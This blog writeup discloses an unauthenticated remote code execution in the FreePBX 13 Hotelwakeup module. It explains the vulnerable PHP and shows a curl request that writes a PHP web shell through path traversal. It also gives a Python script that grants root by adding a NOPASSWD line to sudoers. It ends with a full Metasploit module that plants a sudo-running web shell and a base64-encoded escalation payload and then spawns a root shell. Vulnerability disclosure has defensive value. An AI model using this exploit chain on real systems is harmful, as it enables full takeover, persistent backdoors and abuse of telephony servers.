Freepbx remote root exploit writeup
October 25, 2016
Intro
I already released fully working exploit + brief writeup at Exploit-DB If you need more details then proceed with this post
Freepbx is famous voip distro based on asterisk + Centos
According to the official site the distro is deployed on newly 20,000 machine monthly and already up and running on around 1m machine either on external or internal networks
Freepbx suffer from remote command execution flaw that can be escalated to full root access over the vulnerable machine Freepbx mainly prevent unauthorized access to php files via quite good .htaccess rules
SetEnv HTACCESS on
<IfModule !mod_authz_core.c>
<FilesMatch "\..*$">
Deny from all
</FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
<FilesMatch "\..*$">
Require all denied
</FilesMatch>
</IfModule>
<IfModule !mod_authz_core.c>
<FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
Allow from all
</FilesMatch>
</IfModule>
<IfModule mod_authz_core.c>
<FilesMatch "(^$|index\.php|config\.php|ajax\.php|\.(gif|GIF|jpg|jpeg|png|css|js|swf|txt|ico|ttf|svg|eot|woff|woff2|wav|mp3|aac|ogg|webm|gz)$)">
Require all granted
</FilesMatch>
</IfModule>
1st the htaccess file prevent access to all files located at the admin directory then allow access to css , gz , music , images , txt . . almost everything except the only thing we are interested about , the php files except for index.php , config.php which are secured by login schema , ajax.php which we are interested about
ajax.php , modules and some technical stuff
ajax.php is being used by admin panel to call fpbx modules on request and was being used by index file to call few modules that do not require authentication such as registration and by default the main framework module ajax.php code is
<?php
if (!isset($_REQUEST['module'])) {
$module = "framework";
} else {
$module = $_REQUEST['module'];
}
if (isset($_REQUEST['command'])) {
$command = $_REQUEST['command'];
} else {
$command = "unset";
}
$bootstrap_settings['freepbx_auth'] = false;
$bootstrap_settings['whoops_handler'] = 'JsonResponseHandler';
$restrict_mods = true;
if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
include_once('/etc/asterisk/freepbx.conf');
}
error_reporting(-1);
modgettext::textdomain($module);
$bmo->Ajax->doRequest($module, $command);
obious enough , hah? using 2 parameters module to call the wanted module , command to pass the needed action to the module
ajax.php?module=ox4148&command=foo
will search for module ox4148 inside admin/modules directory , then search for Ox4148.class.php file inside that directry then check if the module support ajax request or not via looking for function ajaxRequest in which the module action is identified , check if request require authentication or not proceed it if everything is ok or ignore it if not If found then it’s proceed via the function ajaxHandler which do the rest of stuff
If you did not get it it’s ok , just go on with the rest of the post and it will be more obvious enough talk about ajax and modules and let’s get into the more interesting part
what’s up with hotel wakeup!
Hotel wake up is a pre-installed module come by default with freepbx 13.x
The Wake Up Calls module allows users to generate a hotel-style wake up call for their extension.
what’s interesting about it? Obvious , it’s vulnerable basically the module create outgoing call file for asterisk with specific time/date to specific destination file is being written in asterisk outgoing directory then when time/date come asterisk automatically proceed the file , extract options and proceed the call on time with nice wakeup message
202<?php
203 public function generateCallFile($foo) {
204 if (empty($foo['tempdir'])) {
205 $ast_tmp_path = $this->FreePBX->Config->get('ASTSPOOLDIR')."/tmp/";
206 if(!file_exists($ast_tmp_path)) {
207 mkdir($ast_tmp_path,0777,true);
208 }
209 $foo['tempdir'] = $ast_tmp_path;
210 }
211 if (empty($foo['outdir'])) {
212 $foo['outdir'] = $this->FreePBX->Config->get('ASTSPOOLDIR')."/outgoing/";
213 }
214 if (empty($foo['filename'])) {
215 $foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call";
216 }
217
218 $tempfile = $foo['tempdir'].$foo['filename'];
219 $outfile = $foo['outdir'].$foo['filename'];
220
221 // Delete any old .call file with the same name as the one we are creating.
222 if(file_exists($outfile) ) {
223 unlink($outfile);
224 }
225
226 // Create up a .call file, write and close
227 $wuc = fopen($tempfile, 'w');
228 fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
229 fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
230 fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
231 fputs( $wuc, "waittime: ".$foo['waittime']."\n");
232 fputs( $wuc, "callerid: ".$foo['callerid']."\n");
233 fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n");
234 fputs( $wuc, "application: ".$foo['application']."\n");
235 fputs( $wuc, "data: ".$foo['data']."\n");
236 fclose( $wuc );
237
238 // set time of temp file and move to outgoing
239 touch( $tempfile, $foo['time'], $foo['time'] );
240 rename( $tempfile, $outfile );
241 }
Taking control
Function generatecallfile is being called via another function in the same file which is addWakeup
93<?php
94 public function addWakeup($destination, $time, $lang) {
95 $date = $this->getConfig(); // module config provided by user
96 $this->generateCallFile(array(
97 "time" => $time,
98 "date" => 'unused',
99 "ext" => $destination,
100 "language" => $lang,
101 "maxretries" => $date['maxretries'],
102 "retrytime" => $date['retrytime'],
103 "waittime" => $date['waittime'],
104 "callerid" => $date['cnam']." <".$date['cid'].">",
105 "application" => 'AGI',
106 "data" => 'wakeconfirm.php',
107 ));
108 }
Code snip
59<?php
60 public function ajaxHandler() {
61 switch($_REQUEST['command']) {
62 case "savecall":
63 if(empty($_POST['language'])) {
64 $lang = 'en'; //default to English if empty
65 } else {
66 $lang = $_POST['language']; //otherwise set to the language code provided
67 }
68 if(empty($_POST['day']) || empty($_POST['time'])) {
69 return array("status" => false, "message" => _("Cannot schedule the call, due to insufficient data"));
70 }
71 $time_wakeup = strtotime($_POST['day']." ".$_POST['time']);
72 $time_now = time();
73 $badtime = false;
74 if ( $time_wakeup === false || $time_wakeup <= $time_now ) {
75 $badtime = true;
76 }
77
78 // check for insufficient data
79 if ($badtime) {
80 // abandon .call file creation and pop up a js alert to the user
81 return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
82 } else {
83 $this->addWakeup($_POST['destination'],$time_wakeup,$lang);
84 return array("status" => true);
85 }
86 break;
87 case "getable":
88 return $this->getAllCalls();
89 break;
90 }
91 return true;
92 }
$_POST[‘language’]
Line 83 will take the destination value from $_POST[‘destination’]
then proceed both via
$this->addWakeup($_POST['destination'],$time_wakeup,$lang);
Exploitation and gaining access
Passing POST request to http://TARGET/admin/ajax.php
Data : module=hotelwakeup&command=savecall&day=now&time=”%”2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system(‘uname -a;id’);?>
will result in creating file named 0x4148.php.call
at /var/www/html (which isn’t protected by the htaccess) so the file can be accessed via http://TAREGT/0x4148.php.call
which result in execution of php code system(‘uname -a;id’);
[0x4148:/lab]# curl "http://TARGET/admin/ajax.php" -H "Host: TARGET" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://TARGET/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1475613328.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#
The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php
[0x4148:/lab]# curl "http://TARGET/0x4148.php.call"
channel: Local//../../../../../../var/www/html/0x4148.php@originate-skipvm
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)
application: AGI
data: wakeconfirm.php
and our uname -a , id commands were executed
Escalation
pgt release previous privilege escalation flaw in freepbx which for sure wont be patched soon
import os
import time
# -*- coding: utf-8 -*-
cmd = 'sed -i — \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \
'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
'asterisk/bin/freepbx_engine'
os.system(cmd)
os.system('echo a > /var/spool/asterisk/sysadmin/amportal_restart')
time.sleep(20)
os.system('sudo whatever')
Putting all together
MSF module that do it all Full msf module code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'FreePBX < 13.0.188.1 Remote root exploit',
'Description' => '
This module exploits an unauthenticated remote command execution in FreePBX module Hotelwakeup
',
'License' => MSF_LICENSE,
'Author' =>
[
'Ahmed sultan (0x4148) <[email protected]>', # discovery of vulnerability and msf module
],
'References' =>
[
"NA"
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl telnet python'
}
},
'Platform' => %w(linux unix),
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'Privileged' => 'false',
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 27 2016'))
end
def print_status(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_error(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_good(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
# Application Check
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}/jnk0x4148stuff"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall'
}
)
unless res
vprint_error('Connection timed out.')
end
if res.body.include? "Referrer"
vprint_good("Hotelwakeup module detected")
return Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
vprint_status('Sending payload . . .')
pwn = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/admin/ajax.php?module=hotelwakeup&action=savecall",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
'User-agent' => "mostahter ;)"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall',
'day' => 'now',
'time' => '+1 week',
'destination' => '/../../../../../../var/www/html/0x4148.php',
'language' => '<?php echo "0x4148@r1z";if($_GET[\'r1zcmd\']!=\'\'){system("sudo ".$_GET[\'r1zcmd\']);}else{fwrite(fopen("0x4148.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgdGltZQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLSAKY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXAoJJ05PUEFTU1dEXDpBTEwiXD5cPlwvZXRjXC9zdWRvZXJzL2dcJyAvdmFyL2xpYi8nIFwKCSdhc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUnCm9zLnN5c3RlbShjbWQpCm9zLnN5c3RlbSgnZWNobyBhID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0JykKdGltZS5zbGVlcCgyMCk="));system("python 0x4148.py");}?>',
}
)
#vprint_status("#{pwn}")
vprint_status('Trying to execute payload <taking around 20 seconds in case of success>')
escalate = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'0x4148' => "r1z"
}
)
if escalate.body.include? "0x4148@r1z"
vprint_good("Payload executed")
vprint_status("Spawning root shell")
killit = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'r1zcmd' => "#{payload.encoded}"
}
)
else
vprint_error("Exploitation Failed")
end
end
end
That’s it,
Until next time, Ahmed